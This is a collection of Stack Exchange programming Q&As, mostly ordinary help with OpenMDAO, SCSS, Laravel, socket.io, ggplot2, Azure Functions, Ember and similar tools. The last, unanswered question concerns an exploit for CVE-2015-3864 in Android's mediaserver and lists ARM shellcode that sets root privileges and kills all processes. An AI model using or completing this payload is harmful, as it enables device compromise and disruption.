text:
Q: Functions scaling in OpenMDAO Is there any way to apply a logarithmic scaling to the design objectives/constraints in OpenMDAO? In my optimization problem, I have to deal with an objective function that takes large values and varies significantly over the design space (between the orders 10^6 and 10^7), so I would ideally like to make the driver handle the log of the objective. I have modified my objective function directly for now, but it would be more convenient to do it at the driver level. Is that possible?

A: Currently openmdao drivers don't support nonlinear scaling, and doing so through a component is the correct approach.  In the past I've sometimes made a separate "objective" component that exists to apply some transformation to the raw objective. That allows you to drop it into your model when necessary without the need to change the original calculations.

A: A middle ground between "modify the component" and "have OpenMDAO driver api do it for you" is to use an ExecComp.
prob.model.add_subsystem('log_scale', om.ExecComp('log_f = log(f)')
prob.model.connect('some_comp.f', 'log_scale.f')
prob.driver.add_objective('log_scale.log_f')

The exec-comp will handle the derivatives of that transformation for you. All you have to do is connect your objective into the right input on the ExecComp instance.


text:
Q: select all checkboxes using one checkbox in datalist this is my code when i click on checkbox chkall , all checkboxes should be activated.
so can please anyone help me
<asp:DataList ID="DataList1" runat="server" OnItemCommand="DataList1_ItemCommand" CellPadding="4" ForeColor="#333333">
                <FooterStyle BackColor="#507CD1" Font-Bold="True" ForeColor="White" />
                <HeaderStyle BackColor="#507CD1" Font-Bold="True" ForeColor="White" />
                <HeaderTemplate>
                    <asp:CheckBox ID="chkall" runat="server" onclick="checktrue()"  />
                    EMPID ENAME DESIGNATION DOJ SALARY DEPTNO Edit/Update
                </HeaderTemplate>
                <ItemStyle BackColor="#EFF3FB" />
                <ItemTemplate>
                    <asp:CheckBox ID="chkone" runat="server" />
                    <asp:Label ID="lblempid" runat="server" Text='<%#Eval("empid") %>' />

                    <%#Eval("ename") %>
                    <%#Eval("desg") %>
                    <%#Eval("doj") %>
                    <%#Eval("salary") %>
                    <%#Eval("deptno") %>
                    <asp:Button ID="btnedit" runat="server" Text="EDIT" CommandName="Edit" />
                </ItemTemplate>
                <AlternatingItemStyle BackColor="White" />
                <EditItemTemplate>
                    <asp:Label ID="lblempid" runat="server" Text='<%#Eval("empid") %>' />
                    <asp:TextBox ID="txtename" runat="server" Text='<%#Eval("ename") %>' />
                    <asp:TextBox ID="txtdesg" runat="server" Text='<%#Eval("desg") %>' />
                    <asp:TextBox ID="txtdoj" runat="server" Text='<%#Eval("doj") %>' />
                    <asp:TextBox ID="txtsalary" runat="server" Text='<%#Eval("salary") %>' />
                    <asp:TextBox ID="txtdeptno" runat="server" Text='<%#Eval("deptno") %>' />
                    <asp:Button ID="btnupdate" runat="server" Text="Update" CommandName="Update" />
                    <asp:Button ID="btncancel" runat="server" Text="Cancel" CommandName="Cancel" />
                </EditItemTemplate>
                <FooterTemplate>
                    <asp:Button ID="btmdelete" runat="server" OnClick="btndelete_Click" Text="Delete" />

                    <asp:TextBox ID="txtempid" runat="server" Width="60"></asp:TextBox>
                    <asp:TextBox ID="txtename" runat="server" Width="60"></asp:TextBox>
                    <asp:TextBox ID="txtdesg" runat="server" Width="60"></asp:TextBox>
                    <asp:TextBox ID="txtdoj" runat="server" Width="60"></asp:TextBox>
                    <asp:TextBox ID="txtsalary" runat="server" Width="60"></asp:TextBox>
                    <asp:TextBox ID="txtdeptno" runat="server" Width="60"></asp:TextBox>
                    <asp:Button ID="btnadd" runat="server" Text="add" CommandArgument="add" />
                </FooterTemplate>

                <SelectedItemStyle BackColor="#D1DDF1" Font-Bold="True" ForeColor="#333333" />

            </asp:DataList>

A: I recommend doing it on the client side. Here is an example with jquery
function checkAll(){
    $("#DataList1 :checkbox").prop("checked", $("#chkall").prop("checked"));
}

redpajama_set_name: RedPajamaStackExchange


text:
Q: How to use variable in another variable in SCSS How I can use a variable in another variable?
How I can do this:
$buttons: default, success, primary, info, warning, danger;

$default_color: #aaa;
$success_color: #bbb;
$primary_color: #ccc;
$info_color: #ddd;
$warning_color: #eee;
$danger_color: #fff;

@each $b in $buttons {
  .btn-#{$b} {
    color: $#{b}_color;
  }
}

A: The way you are looking doesn't implement in SCSS yet but you can do something like this:
$default_color: #aaa;
$success_color: #bbb;
$primary_color: #ccc;
$info_color:    #ddd;
$warning_color: #eee;
$danger_color:  #fff;

$buttonsList:
  "default" $default_color,
  "success" $success_color,
  "primary" $primary_color,
  "info"    $info_color,
  "warning" $warning_color,
  "danger"  $danger_color;

@each $b in $buttonsList {
  .btn-#{nth($b, 1)} {
    color: nth($b, 2);
  }
}

Sassmeister link.

A: Sass does not allow variables to be created or accessed dynamically.
Use map instead
http://sass-lang.com/documentation/file.SASS_REFERENCE.html#maps
Example: https://stackoverflow.com/a/17978519


text:
Q: Laravel 4 - Cannot catch database exception in seed or migration class Laravel 4 with MySql db.
For some reason, I cannot catch DB exceptions (Illuminate\Database\QueryException) inside a seed or migration class: the code never enters the catch block.
For example, if I try to insert on a table where the column 'name' is UNIQUE:
try {
    $data = array('id' => 1, 'name' => 'foo');
    DB::table('table')->insert($data);
}
catch (\Exception $e) {
    $this->command->error("SQL Error: " . $e->getMessage() . "\n");
}

...I always get this error:
PHP Warning: Uncaught exception 'Illuminate\Database\QueryException' with message 'SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry

*

*I tried to catch Exception, \Exception, \PDOException, \Illuminate\Database\QueryException and so on, but I had no luck.

*I can catch other types of exceptions (e.g. Division by zero, etc.)

*I can catch QueryException inside routes.php, the same code works well: code enters the 'catch', I get the message "SQL Error: etc." but no warning is raised (correct)

Any idea?
Thanks for your help.

A: You must catch "Illuminate\Database\QueryException"
try {
    $data = array('id' => 1, 'name' => 'foo');
    DB::table('table')->insert($data);
}
catch (\Illuminate\Database\QueryException $e) {
    $this->command->error("SQL Error: " . $e->getMessage() . "\n");
}

A: Thanks to php exceeds execution time on throwing an exception in recursion I finally understood the problem.
Apparently it's related to XDebug, and it occurs only on PHP on Mac OS X (I tried several PHPs on Windows, but never ran into this problem), and only when running a migration or seed by CLI (e.g. php artisan db:seed --class=className).
It's related to these XDebug settings:
xdebug.var_display_max_depth = -1
xdebug.var_display_max_children = -1
xdebug.var_display_max_data = -1

I don't exactly know why, but this caused QueryException to never be catched, and PHP showed me the entire exception stack.
If I comment these options, or set them to a more appropriate value (e. g. 10) or if I disable XDebug (not a good solution), everything runs ok, and inside migrations/seeds I can catch QueryExceptions.


text:
Q: Dealing with a large number of classes: Can I nest C# files in folders arbitrarily? I have a C# project where the number of classes is heavily increasing and the root project directory is becoming cluttered and unorganized. I want to be able to separate my class.cs files into grouped folders without changing their namespace to perhaps get something like this:
Root directory:
 project.shproj
 Main.cs
 Form1.cs
 Form2.cs
 > UI_Classes folder
   > UI_button.cs
   > UI_header.cs
 > Services folder
   > bgService.cs
   > mainService.cs
 > Util folder
   >calculations.cs
   >abstractMethods.cs
   >extensionMethods.cs

But in doing so I'm getting type or namespace could not be found errors for the classes which I moved, which is annoying because it's so much more organised and cleaner. Is there some way I can do this?
Please do not suggest organizing my classes into namespaces. I am very aware of that and it is not an option.
Edit: Though the CS0246 errors have red underlines, they don't actually stop compiling and running.
Edit2: Not similar to this other question at all. This is referring to a problem with the Visual Studio move feature which was not used, where multiple files have the same name (none of mine do), were being renamed incorrectly (I'm not doing any renaming) in a web project, which mine is not.
Edit3: Has been happening for awhile and has never caused a noticed problem but 3 conflicts occur in the output window when building:
1>  No way to resolve conflict between "mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" and "mscorlib, Version=2.0.5.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e". Choosing "mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" arbitrarily.
1>  No way to resolve conflict between "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" and "System, Version=2.0.5.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e". Choosing "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" arbitrarily.
1>  No way to resolve conflict between "System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" and "System.Core, Version=2.0.5.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e". Choosing "System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" arbitrarily.

A:
they don't actually stop compiling and running

What you have is a bug or stale cache somewhere, and i have seen it more times than i care to admit.
1. Try clean up your solution

*

*Clean

*Delete bin and obj directories

*Restart

2. .Net Standard libs mismatch
.net standard libs can also be a problem in Xamarin, try re adding the references to all your .Net Standard libraries
3. Resharper problem
Resharper gets confused with its cache
Tool -> Options -> Resharper

*

*Suspend

*Resume

4. Visual studio problem
If that doesn't work it could be a visual studio thing
Try deleting the Solution User Options (.Suo) file located in your solution .vs directory somewhere


text:
Q: How can I extract info from a Map Object? I am using socket.io 4.x on my NodeJs server and I need to access a few things which are stored in io.sockets.sockets object. So here is what I am looking for how can i get values out of this map, or get a count of how many there are in the map. I tried the below with no luck..
var srvSockets = io.sockets.sockets;
Object.keys(srvSockets).length;

if I do a
let sockets = io.sockets.sockets;
console.log(sockets)

The output looks like this
Map {
  'TTRWuTdEjhyGwKQvAAAB' => Socket {
    _events: [Object: null prototype] {
      authenticate: [AsyncFunction],
      messageToServer: [Function],
      demo: [Function],
      clientDisco: [AsyncFunction],
      disconnect: [AsyncFunction]
    },
    _eventsCount: 5,
    _maxListeners: undefined,
    nsp: Namespace {
      _events: [Object: null prototype],
      _eventsCount: 2,
      _maxListeners: undefined,
      sockets: [Circular],
      _fns: [],
      _ids: 0,
      server: [Server],
      name: '/',
      adapter: [Adapter]
    },
    client: Client {
      sockets: [Map],
      nsps: [Map],
      server: [Server],
      conn: [Socket],
      encoder: Encoder {},
      decoder: [Decoder],
      id: 'dnQiSj9Rxt6rnMSMAAAA',
      onclose: [Function: bound onclose],
      ondata: [Function: bound ondata],
      onerror: [Function: bound onerror],
      ondecoded: [Function: bound ondecoded],
      connectTimeout: undefined
    },
    data: {},
    acks: Map {},
    fns: [],
    flags: {},
    server: Server {
      _events: [Object: null prototype] {},
      _eventsCount: 0,
      _maxListeners: undefined,
      _nsps: [Map],
      parentNsps: Map {},
      _path: '/socket.io',
      clientPathRegex: /^\/socket\.io\/socket\.io(\.min|\.msgpack\.min)?\.js(\.map)?$/,
      _connectTimeout: 45000,
      _serveClient: true,
      _parser: [Object],
      encoder: Encoder {},
      _adapter: [Function: Adapter],
      sockets: [Namespace],
      opts: [Object],
      eio: [Server],
      httpServer: [Server],
      engine: [Server]
    },
    adapter: Adapter {
      _events: [Object: null prototype] {},
      _eventsCount: 0,
      _maxListeners: undefined,
      nsp: [Namespace],
      rooms: [Map],
      sids: [Map],
      encoder: Encoder {}
    },
    id: 'TTRWuTdEjhyGwKQvAAAB',
    connected: true,
    disconnected: false,
    handshake: {
      headers: [Object],
      time: 'Mon Apr 05 2021 16:10:07 GMT-0700 (Pacific Daylight Time)',
      address: '::ffff:192.168.1.33',
      xdomain: true,
      secure: false,
      issued: 1617664207799,
      url: '/socket.io/?EIO=4&transport=polling&t=NYaJEjx',
      query: [Object: null prototype],
      auth: {}
    },
    auth: true
  },
  'rfjC2P4XCy84Q3YMAAAD' => Socket {
    _events: [Object: null prototype] {},
    _eventsCount: 0,
    _maxListeners: undefined,
    nsp: Namespace {
      _events: [Object: null prototype],
      _eventsCount: 2,
      _maxListeners: undefined,
      sockets: [Circular],
      _fns: [],
      _ids: 0,
      server: [Server],
      name: '/',
      adapter: [Adapter]
    },
    client: Client {
      sockets: [Map],
      nsps: [Map],
      server: [Server],
      conn: [Socket],
      encoder: Encoder {},
      decoder: [Decoder],
      id: 'Pz7vOszEQoqMvGq7AAAC',
      onclose: [Function: bound onclose],
      ondata: [Function: bound ondata],
      onerror: [Function: bound onerror],
      ondecoded: [Function: bound ondecoded],
      connectTimeout: undefined
    },
    data: {},
    acks: Map {},
    fns: [],
    flags: {},
    server: Server {
      _events: [Object: null prototype] {},
      _eventsCount: 0,
      _maxListeners: undefined,
      _nsps: [Map],
      parentNsps: Map {},
      _path: '/socket.io',
      clientPathRegex: /^\/socket\.io\/socket\.io(\.min|\.msgpack\.min)?\.js(\.map)?$/,
      _connectTimeout: 45000,
      _serveClient: true,
      _parser: [Object],
      encoder: Encoder {},
      _adapter: [Function: Adapter],
      sockets: [Namespace],
      opts: [Object],
      eio: [Server],
      httpServer: [Server],
      engine: [Server]
    },
    adapter: Adapter {
      _events: [Object: null prototype] {},
      _eventsCount: 0,
      _maxListeners: undefined,
      nsp: [Namespace],
      rooms: [Map],
      sids: [Map],
      encoder: Encoder {}
    },
    id: 'rfjC2P4XCy84Q3YMAAAD',
    connected: true,
    disconnected: false,
    handshake: {
      headers: [Object],
      time: 'Mon Apr 05 2021 16:10:08 GMT-0700 (Pacific Daylight Time)',
      address: '::ffff:192.168.1.33',
      xdomain: true,
      secure: false,
      issued: 1617664208757,
      url: '/socket.io/?EIO=4&transport=polling&t=NYaJEzW',
      query: [Object: null prototype],
      auth: {}
    }
  }
}

A: Maps can be iterate over with .entries (and a few other methods):
for (const [key, value] of io.sockets.sockets.entries()) {
  // key will be something like TTRWuTdEjhyGwKQvAAAB
  // value will be a Socket
}

A: If you want to get the participants of the server, you can use fetchSockets function as below:
// return all Socket instances
const sockets = await io.fetchSockets();

// return all Socket instances in the "room1" room of the main namespace
const sockets = await io.in("room1").fetchSockets();

// return all Socket instances in the "room1" room of the "admin" namespace
const sockets = await io.of("/admin").in("room1").fetchSockets();

// this also works with a single socket ID
const sockets = await io.in(theSocketId).fetchSockets();

Source: https://socket.io/docs/v4/server-instance/#fetchSockets


text:
Q: How to pass a DataTable to Mysql I have a winforms application connected to Mysql using the .Net driver. I written a class to handle to all the database functionality. I use a dataTable to store query results for binding from mysql.
Imports MySql.Data.MySqlClient
Imports System.IO

Public Class MysqlConSjC

Private conn As MySqlConnection
Private connStr As String
Public strace As String
Private status As Integer

'status member variable for connectivity. 0 for success,
'value of one indicates db connection error
'value of 2 indicates query failure

Private comd As MySqlCommand
Private adpter As MySqlDataAdapter
Private dta As DataTable

Public Sub Query(ByVal SQl As String)

    Try
        comd.Connection = conn
        comd.CommandText = SQl
        adpter.SelectCommand = comd
        adpter.Fill(dta)
        status = 0

    Catch ex As MySqlException
        strace = ex.StackTrace()
        DisconnectMysql()
        status = 2

    End Try
   End Sub

This method does a select query. How would I write a method to insert/update/delete rows of the DataTable in the database?

A: If the provider was able to create the update statements (UPDATE, INSERT, DELETE) for the given command, then I believe you can simply call the Update method on the data adapter after making updates to the DataTable.
adapter.Update(dta)

The DataTable object tracks changes made to itself. The data adapter object then uses that information to determine which SQL statements (UPDATE, INSERT, DELETE) to run.

A: Did the most sensible thing. I switched to the binding source control and used tableAdapters to update. A class like mine works where datagridviews are not needed


text:
Q: Highcharts X-Axis value on top of stacked column I'm using some PHP loops generate a series of charts for individuals.I'm trying to place the X-Axis category point on top of my column for each point. The relavent code is:
xAxis: {
        categories: [<?php echo implode(',', $year); ?>],
        title: {
            text: 'Year'
        }
    },
    yAxis: [{
        min: 0,
        title: {
            text: 'ADR'
        },
        stackLabels: {
            enabled: true,
            formatter: function() {
                return '<b>' + this.x.category + '</b>';
            },
            style: {
                fontWeight: 'bold',
                color: (Highcharts.theme && Highcharts.theme.textColor) || 'black'
            }
        },

I'm unsure how to go about this i've tried this.x, this.x.category, this.x.value and so far I've not been able to get my x-axis category value. How do I do this in Highcharts?

A: The stack is a separate entity from the series or the point, so doesn't have direct access to the same properties.
But with a little digging, you can make the link from the stack to the x axis categories (I always just do a console.log(this) within the formatter to see what it can access...)
formatter: function() {
  var x = this.x;
  var cat = this.axis.chart.xAxis[0].categories[x];
  return cat;
}

Example:

*

*http://jsfiddle.net/jlbriggs/xgucespk/
You could also just define your categories array outside of the chart, and reference that array for both the categories definition, and in the formatter function.
Example:

*

*http://jsfiddle.net/jlbriggs/xgucespk/1/


text:
Q: Reflect line type in legend ggplot2 In my graph below I would like to have the legend reflect the actual line style i.e. the blue line for "Distance" should also be dashed in the legend. How do I achieve this?
Below my code. Thank you!
data <- structure(list(Year = c(1980, 1981, 1982, 1983, 1984, 1985, 1986,
1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997,
1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008,
2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016), Region = c(428,
424, 424, 424, 424, 423, 423, 423, 423, 423, 423, 423, 423, 423,
423, 427, 427, 429, 428, 428, 427, 427, 426, 429, 431, 429, 429,
430, 430, 431, 433, 435, 434, 436, 434, 434, 432), Distance = c(45.3851417635712,
45.1015566515805, 45.0949633134224, 44.9843501596268, 44.472001374814,
44.4651674044446, 44.4572188553101, 44.2469544378131, 44.2469544378131,
44.2469544378131, 44.2132321845356, 43.8753401319457, 42.6315852081922,
42.0628336732444, 42.0628336732444, 41.8727936463309, 41.8727936463309,
41.7635411376391, 41.7635411376391, 41.7635411376391, 41.7635411376391,
41.7635411376391, 41.7635411376391, 41.6326581679158, 41.2193523001234,
41.1576215657083, 41.1576215657083, 41.0389941582308, 40.8914901030284,
40.8257256986156, 40.8257256986156, 40.670233047203, 40.670233047203,
40.512318467256, 40.512318467256, 40.512318467256, 40.3362918835934
)), row.names = c(NA, -37L), class = c("tbl_df", "tbl", "data.frame"
))

library(ggplot2)
p <- ggplot(data, aes(x = Year))
p <- p + geom_line(aes(y = data$Region, color = "Region"), size=1.1)
p <- p + scale_x_continuous(breaks = seq(1980, 2015, by = 5))

# first axis
p <- p + geom_line(aes(y = data$Distance*10, color = "Distance"), size=1.1, linetype = "dashed")

# now adding the secondary axis
p <- p + scale_y_continuous(sec.axis = sec_axis(~./10, name = "Distance"))
p <- p + labs(y = "Region")

# modifying colours and theme options
p <- p + theme(legend.position = c(0.8, 0.9))
p <- p + scale_color_manual(values=c('#67a9cf','#ef8a62')) + theme(text=element_text(size=12,  family="serif"))
p <- p +  theme(legend.position="bottom") +  theme(legend.title=element_blank(), axis.text=element_text(size=11), axis.title=element_text(size=11), legend.text=element_text(size=10),panel.grid.minor = element_blank())
p <- p + annotate("rect", xmin=1988, xmax=1997, ymin=-Inf, ymax=Inf, alpha=0.1, fill="#999999")
p <- p + annotate("text", x = 1992.25, y = 452, label = "xxx", family="serif")+ annotate("text", x = 1992, y = 450, label = "yyy", family="serif")
p <- p + theme(text=element_text(size=12,  family="serif"))
p <- p+ theme(panel.background = element_rect(fill = NA),
              panel.grid.major = element_line(colour = "gray95"),
              panel.border = element_rect(colour = "gray20", fill=NA, size=0.5))
p

A: You can include linetype in aes and assign type of linetype using scale_linetype_manual.
library(ggplot2)

ggplot(data, aes(x = Year)) +
  geom_line(aes(y = Region, linetype = "Region", color = "Region"), size=1.1) +
  scale_x_continuous(breaks = seq(1980, 2015, by = 5)) +
  geom_line(aes(y = Distance*10, linetype = "Distance", color = "Distance"), size=1.1) +
  scale_y_continuous(sec.axis = sec_axis(~./10, name = "Distance")) +
  labs(y = "Region") +
  scale_linetype_manual("colour",values=c("Distance"= "dotted", "Region" = "solid")) +
  theme(legend.title=element_blank(),
        legend.position="bottom")


text:
Q: MySQL connection doesn't work anymore I had two MySQL servers running (127.0.0.1:3306 and 127.0.0.1:3307). Now I get this strange error:
mysql_connect(): Lost connection to MySQL server at 'reading initial communication packet'
I can connect with localhost:3307, but there aren't any tables/databases. I'm sure /etc/my.cnf is right:
[mysqld_multi]
mysqld     = /usr/bin/mysqld_safe
mysqladmin = /usr/bin/mysqladmin
user       = root
password   = ***

[mysqld]
port       = 3306
socket   = /var/run/mysql/mysql.sock

[mysqld2]
port       = 3307
socket   = /var/run/mysql/mysql2.sock

What can I do now? How can I restart the MySQL server? How can I make sure all tables still exists?

A: You didn't specify the datadir for each of your mysqld instances.  E.g.:
[mysqld]
port = 3306
socket = /var/run/mysql/mysql.sock
datadir = /var/lib/mysql

Your question is a few months old, I sure hope you figured it out.


text:
Q: Unable to debug Azure Function that targets .NET 5.0 I wrote a simple Azure Function from the template using the .NET CORE 3.1 as target framework.
After that I migrated the target framework to .NET 5.0 using the guide
After the migration I'm not able to debug the Azure Function. I get the usual message "the breakpoint will not currently be hit".
The csproj is this:
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <TargetFramework>net5.0</TargetFramework>
    <AzureFunctionsVersion>v3</AzureFunctionsVersion>
    <OutputType>Exe</OutputType>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Microsoft.Azure.Functions.Worker" Version="1.2.0" />
    <PackageReference Include="Microsoft.Azure.Functions.Worker.Extensions.Http" Version="3.0.13" />
    <PackageReference Include="Microsoft.Azure.Functions.Worker.Sdk" Version="1.0.3" />
    <PackageReference Include="Newtonsoft.Json" Version="13.0.1" />
  </ItemGroup>
  <ItemGroup>
    <None Update="host.json">
      <CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory>
    </None>
    <None Update="local.settings.json">
      <CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory>
      <CopyToPublishDirectory>Never</CopyToPublishDirectory>
    </None>
  </ItemGroup>
</Project>

local.settings.json is this:
{
    "IsEncrypted": false,
    "Values": {
      "AzureWebJobsStorage": "UseDevelopmentStorage=true",
      "FUNCTIONS_WORKER_RUNTIME": "dotnet-isolated"
  }
}

program.cs is this:
class Program
{
    static Task Main(string[] args)
    {
        var host = new HostBuilder()
                        .ConfigureFunctionsWorkerDefaults()
                        .ConfigureServices(s =>
                        {
                        })
                        .Build();

        return host.RunAsync();
    }
}

The simple function is:
using System.Threading.Tasks;
using Microsoft.Azure.Functions.Worker;
using Microsoft.Azure.Functions.Worker.Http;

namespace FunctionAppNet50
{
    public static class Function1
    {
        [Function("Function1")]
        public static async Task<HttpResponseData> Run(
            [HttpTrigger(AuthorizationLevel.Anonymous, "get", "post", Route = null)] HttpRequestData req)
        {
            var response = req.CreateResponse(System.Net.HttpStatusCode.OK);

            return response;
        }
    }
}

Is this related to the ".NET isolated process" model or did I do something wrong?

A: Thanks... found the solution in the suggested articles by marc_c and Douglas.

*

*I installed the Azure Function Core Tools using choco with the command "choco install azure-functions-core-tools-3";

*run the function in a shell with "func start –-dotnet-isolated-debug";

*attached the debugger at the PID showed in the window
here is an article that similar steps: https://dev.to/kenakamu/debug-net-5-function-with-visual-studio-visual-studio-code-5235


text:
Q: You modified *** twice in a single render After upgrading to 1.13 I get this exception and I can't figure out what's the issue. I also couldn't find any helpful resource which tackles my issue.
It happens for properties I set in another computed property. But this property is definitely called only once.
I have created a jsbin example: http://emberjs.jsbin.com/roderameya/edit?html,js,console,output
UPDATE
As requested I post some code which is more close to my real implementation.
Ember.Controller.extend({

  filter: '',

  resultCount: {
    total: 0,
    matches: 0,
    mismatches: 0
  },

  results: function() {
    var items = this.get('model'),
        matches = [],
        resultCount = {};

    // Apply search filter
    matches = items.filter(function(item){
      // Just a dummy filter function
      return true;
    });

    // We need the total number matched by the filter string
    resultCount.total = matches.length;

    // The already matched items must be narrowed further down
    matches = matches.filter(function(item) {
      // Another filter function
      return true;
    });

    resultCount.matches = matches.length;
    resultCount.mismatches = resultCount.total - matches.length;

    this.set('resultCount', resultCount);

    return matches;

  }.property('model', 'filter'),

});

A: Try to have your properties not set other properties, but rather depend on each other:
App.IndexController = Ember.Controller.extend({
  count: function() {
    return this.get("data.length") || 0;
  }.property('data.length'),

  data: [1,2,3]
});

Updated jsbin for you.
UPDATE
Basically, your resultCount is a temporary variable that we can get rid of, and the rest are just chaining computed properties together:
updated jsbin for advanced example
code:
// Index controller
App.IndexController = Ember.Controller.extend({
  count: Ember.computed('filteredItems.length', function(){
    return this.get('filteredItems.length');
  }),

  data: [
    Ember.Object.create({ name: "jim", age: 15 }),
    Ember.Object.create({ name: "jeff", age: 42 }),
    Ember.Object.create({ name: "eric", age: 7 })
  ],

  filter: RegExp(".*"),
  ageFilter: -1,

  mismatchCount: Ember.computed('filteredItems.length', 'secondPassFilteredItems.length', function() {
    return this.get('filteredItems.length') - this.get('secondPassFilteredItems.length');
  }),

  filteredItems: Ember.computed('data', 'filter', function() {
    var controller = this;
    return this.get('data').filter(function(item) {
      return item.get('name').match(controller.get("filter"));
    });
  }),

  secondPassFilteredItems: Ember.computed('filteredItems', 'ageFilter', function() {
    var controller = this;
    var ageFilter = controller.get("ageFilter");
    if (Ember.isEqual(ageFilter, -1)) {
      return this.get('filteredItems');
    } else {

      return this.get('filteredItems').filter(function(item) {
        // more filtering
        return item.get("age") <= ageFilter;
      });
    }
  }),

  results: Ember.computed.alias('secondPassFilteredItems'),

  actions: {
    filterByJ: function() {
      this.set('filter', new RegExp("j"));
    },
    filterByEric: function() {
      this.set('filter', new RegExp("eric"));
    },
    filterAllNames: function() {
      this.set('filter', new RegExp(".*"));
    },
    filterYoungins: function() {
      this.set('ageFilter', 15);
    },
    filterAllAges: function() {
      this.set('ageFilter', -1);
    }
  }

});

Template usage:


text:
Q: How to change JPanel using KeyListener? I want to change the JPanel I am displaying when I press the space bar. I know there are some topics on switching Panels, but none of them seem to use Keys and the format of those programs seem to be vastly different.
Here is my code:
This is my driver which sets up my JFrame and creates the StartPanel:
public class Driver
{
 public static void main(String[] args)
 {
  JFrame frame = new JFrame("Game");
  frame.setSize(750, 900);
  frame.setLocation(250, 0);
  frame.setLayout(null);
  frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  frame.setContentPane(new StartPanel());
  frame.setVisible(true);

 }
}

The firt panel I want to display:
import javax.swing.*;
import java.awt.*;
import java.awt.image.*;
import java.awt.event.*;
import java.awt.event.KeyListener;
import java.awt.event.KeyEvent;

public class StartPanel extends JPanel
{
  public StartPanel(){
     setOpaque(true);
     setBackground(Color.CYAN);
     setFocusable(true);
     addKeyListener(new Key());
}

public void paintComponent(Graphics g){
     super.paintComponent(g);
     ImageIcon title = new ImageIcon("FreefallTitle.png");
     g.drawImage(title.getImage(), 50, 25, 400,100, null);

}

public class Key extends KeyAdapter
{
     public void keyPressed(KeyEvent e)
     {
        int key = e.getKeyCode();
        System.out.println(key);
        if (key == KeyEvent.VK_SPACE)
        {
          //switch  to Panel here
        }
     }
  }
}


text:
Q: Updating wordpress from my Linux distro's repository I installed wordpress with apt, which ties in a lot of directories, so I suspect that using the built-in core update tool will break the installation; but wordfence constantly demands that I update using said tool -- which is probably much more up-to-date than the linux distro repository.  Do I have to wipe it out and start over in order to resolve this annoying bind?

A: I actually like the idea of updating wordpress via apt, as if it is done correctly it can eliminate some headache with installing and configuring the DB and web server while followinf best practice, but the question is how reliable it is to help you maintain wordpress up to date. from looking at https://packages.ubuntu.com/groovy/wordpress it seems that ubuntu LTS is stuck with wordpress 5.3.2, so a potential problem is that you will upgrade wordpress via the wordpress admin or wp-cli and one day when you will run apt update you will cause wordpress to actually be downgraded.
So if you go the apt way, you should probably commit yourself to keep using apt which might actually be OK in some specific settings.
As for wordfence.... with all due respect to them, wordpress setups can vary alot. I would use their "error" indications as a trigger to reevaluate what I am doing, but not as a bible.

A:
Do I have to wipe it out and start over in order to resolve this annoying bind?

No, since WordPress is not system level software, you can copy it, and its data elsewhere, or migrate it to a new instance installed using more standard means. You do not need to install and rebuild your site from scratch.
To get around WordFence however, you will need to update WordPress to the latest version as it wants, and do it using apt and only apt if you want to continue to use that tool. At the time of writing, that would be WordPress 5.7.2 with 5.8 due imminently. If you do this any method other than apt then the changes will be undone when apt next processes that package for an update, or a forced reinstall.
If your repository does not provide the current latest then you should contact them immediately, v5.3.2 has known security issues ( at the time of writing 5.3.8 is the newest version of the 5.3.x branch with hotfixes )


text:
Q: Exporting a list as RawData or Data My problem is quite simple yet I do not seem to figure out the solution to it. I am simply trying to export a list in Mathematica, actually a list of lists of lists etc, something like {{...,{...}},{...}}, but the Head is a list. I want to export this as raw  Mathematica symbols so that I can access it later.
Lets take a simple list, say
list = {1,a,Pi};

I am trying:
Export["listname",list,"RawData"]

and also
Export["listname",list,"Data"]

but getting the following error:

Export::infer: Cannot infer format of file listname. >>

This works for other formats such as CSV or TXT.

A: Two options for exporting arbitrary Mathematica expressions are to use Put or to Export to WDX format.
list = {1, a, π};

Put[list, "test.anything"];
Get["test.anything"]

(* {1, a, π} *)

Export["test.wdx", list];
Import["test.wdx"]

(* {1, a, π} *)


text:
Q: TextBlock.GetBindingExpression returning NULL The following is returning NULL for me, any idea why?
MultiBinding collectionRange = new MultiBinding();
collectionRange.Bindings.Add(new Binding("CurrentPosition") { Source = View });
collectionRange.Bindings.Add(new Binding("Count") { Source = View });
collectionRange.StringFormat = "{0} of {1}";
tbFooter.SetBinding(TextBlock.TextProperty, collectionRange);
var x = tbFooter.GetBindingExpression(TextBlock.TextProperty);

The MultiBinding is fine - the properties are valid and it renders on the UI ..I just can't seem to grab the binding expression (x is always NULL)
Am I using this method wrong?

A:
This method is really just a convenience wrapper around the
  BindingOperations.GetBindingExpression method. GetBindingExpression
  passes the current instance and the dp parameter to
  BindingOperations.GetBindingExpression.
If your binding is a MultiBinding, use
  BindingOperations.GetMultiBinding.

See "Remarks" section and notes in "Examples" section here.


text:
Q: run a shellcode in the context of mediaerver in android I write an exploit for a vulnerability in mediaserver in android(CVE-2015-3864). The goal is running a shellcode with root privilege(such as kill all processes). every steps of exploit are working as expected until it reaches the shell code(at this time the shellcode is loaded in mediaserver virtual memory and rwx permission is granted to it). Shell code is as follows:
 1) e28f3001    add r3, pc, #1   ; 0x1
 2) e12fff13    bx  r3
 3) 1b24        subs    r4, r4, r4
 4) 1c20        adds    r0, r4, #0
 5) 2717        movs    r7, #23
 6) df01        svc 1
 7) 1a92        subs    r2, r2, r2
 8) 1c10        adds    r0, r2, #0
 9) 3801        subs    r0, #1
 10) 2109        movs    r1, #9
 11) 2725        movs    r7, #37
 12) df01        svc 1

